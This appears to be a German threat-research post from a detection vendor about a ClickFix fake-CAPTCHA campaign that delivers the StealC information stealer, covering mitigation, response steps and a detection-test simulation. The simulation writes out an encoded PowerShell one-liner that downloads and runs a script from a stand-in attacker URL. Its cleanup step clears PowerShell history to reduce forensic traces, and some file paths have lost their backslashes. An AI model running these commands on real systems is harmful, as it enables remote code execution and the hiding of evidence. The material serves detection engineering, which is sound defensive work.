SOC Prime Bias: Mittel

16 Feb 2026 14:47 UTC

Wie ClickFix die Tür für den Stealthy StealC Information Stealer öffnet

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Folgen
Wie ClickFix die Tür für den Stealthy StealC Information Stealer öffnet
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Zusammenfassung

Ein mehrstufiger, dateiloser Angriff startet auf einer kompromittierten vietnamesischen Restaurant-Website mit einem gefälschten CAPTCHA. Opfer werden dazu gebracht, PowerShell auszuführen, das positionsunabhängiges Shellcode abruft, welches einen 64-Bit-Downloader reflektiv lädt und den StealC-Informationsdieb in svchost.exe injiziert. StealC sammelt Browser-Anmeldedaten, Informationen zu Kryptowährungs-Wallets, Anmeldedaten von Steam und Outlook, Host-Details und Screenshots und exfiltriert diese dann über RC4-verschlüsselten HTTP-Verkehr.

Untersuchung

Forscher analysierten den JavaScript- und PowerShell-Loader, bestätigten die Nutzung des Donut-Shellcode-Frameworks und folgten den HTTP-Anfragen des Downloaders zu von Angreifern kontrollierten URLs. Der Stealer scheint eine baustellenbasierte Malware-as-a-Service mit modularen Diebstahlsfunktionen plus einer Selbstlöschroutine zu sein. Zu den Jagdnotizen gehören ein User-Agent-Wert von „Loader“ und spezifische Registrierungsschlüssel, die mit dem Staging und der Ausführung verbunden sind.

Minderung

Empfohlene Abwehrmaßnahmen umfassen die Begrenzung oder Deaktivierung des Einfügens aus der Zwischenablage in Browsern, die Verschärfung der PowerShell-Ausführungsrichtlinien und das Warnen vor ungewöhnlichen User-Agent-Strings. Fügen Sie die Erkennung für reflektives PE-Laden und Prozessinjektionen hinzu und erzwingen Sie die Inspektion ausgehender HTTP-Daten für die Lieferung Base64-kodierter Nutzlasten. Die Aufklärung der Nutzer über gefälschte CAPTCHA-Köder sollte als Kontrollmaßnahme und nicht als nachträglicher Gedanke behandelt werden.

Antwort

Wenn entdeckt, isolieren Sie den Endpunkt, stoppen Sie die injizierte svchost.exe-Instanz, erfassen Sie Speicherabbilder zur Überprüfung des Shellcodes und blockieren Sie die bösartigen Domains/URLs. Setzen Sie exponierte Anmeldedaten zurück, überprüfen Sie Registrierungs- und Browser-Artefakte auf Auswirkungen und überwachen Sie restlichen C2-Verkehr.

Angriffsablauf

Simulation der Ausführung

Voraussetzung: Die Telemetrie- & Basislinien-Überprüfung muss erfolgreich bestanden sein.

Begründung: Dieser Abschnitt beschreibt die präzise Ausführung der Angreifertechnik (TTP), die darauf abzielt, die Erkennungsregel auszulösen. Die Befehle und das Narrativ MÜSSEN die identifizierten TTPs direkt widerspiegeln und darauf abzielen, die exakte Telemetrie zu erzeugen, die von der Erkennungslogik erwartet wird.

  • Angriffsgeschehen & Befehle:

    Ein Angreifer erhält eine Phishing-E-Mail mit einem kurzen URL-Link. Ziel ist es, eine Remote-PowerShell-Hintertür zu installieren, ohne den Benutzer zu alarmieren. Der Angreifer erstellt eine Base64-codierte PowerShell-Nutzlast, die ein bösartiges Skript von einem C2-Server herunterlädt und es sofort ausführt mit iex(irm…). Durch die Verwendung des -EncodedCommand Schalters verbirgt der Angreifer die eigentlichen Befehle vor einer beiläufigen Überprüfung, und das iex(irm…) Muster entspricht der Erkennungsregel direkt.

    1. Erstellen Sie das bösartige Skript (payload.ps1) gehostet auf http://malicious.example.com/payload.ps1.

    2. Codieren Sie den Startbefehl:

      $launcher = "iex((New-Object System.Net.WebClient).DownloadString('http://malicious.example.com/payload.ps1'))"
      $bytes = [System.Text.Encoding]::Unicode.GetBytes($launcher)
      $encoded = [Convert]::ToBase64String($bytes)
      Write-Output $encoded   # Dieser Wert wird im nächsten Schritt verwendet
    3. Führen Sie den codierten Befehl auf dem Ziel aus:

      powershell.exe -EncodedCommand <Base64StringFromStep2>

    Dies erzeugt ein Sysmon ProcessCreate-Ereignis, bei dem CommandLine enthält -EncodedCommand and der entschlüsselte Text enthält iex(irm…), was der Sigma-Regel entspricht.

  • Regressions-Testskript:

    #-----------------------------------------------------------
    # Simulationsskript – Löst PowerShell EncodedCommand + iex(irm) aus
    #-----------------------------------------------------------
    
    # 1. Definieren Sie die URL des bösartigen Skripts (ersetzen Sie sie mit Ihrem Testserver)
    $maliciousUrl = "http://malicious.example.com/payload.ps1"
    
    # 2. Erstellen Sie den Einzeiler, der das Skript herunterlädt und ausführt
    $cmd = "iex((New-Object System.Net.WebClient).DownloadString('$maliciousUrl'))"
    
    # 3. Codieren Sie den Befehl in Base64 (Unicode)
    $bytes = [System.Text.Encoding]::Unicode.GetBytes($cmd)
    $b64 = [Convert]::ToBase64String($bytes)
    
    # 4. Starten Sie PowerShell mit dem codierten Befehl
    Write-Host "Führe codierten Befehl aus..."
    Start-Process -FilePath "$env:windirSystem32WindowsPowerShellv1.0powershell.exe" `
                  -ArgumentList "-EncodedCommand $b64" `
                  -NoNewWindow -Wait
    
    Write-Host "Simulation abgeschlossen."
  • Bereinigung-Befehle:

    # Entfernen Sie alle temporären Dateien, die durch die simulierte Nutzlast erstellt wurden (falls vorhanden)
    # Beispiel: löschen Sie das heruntergeladene Skript, wenn es lokal gespeichert wurde
    $tempPath = "$env:TEMPpayload.ps1"
    if (Test-Path $tempPath) {
        Remove-Item $tempPath -Force
        Write-Host "Temporäre Nutzlast entfernt."
    }
    
    # Optional: Löschen Sie die PowerShell-Historie, um forensische Spuren zu reduzieren
    Clear-History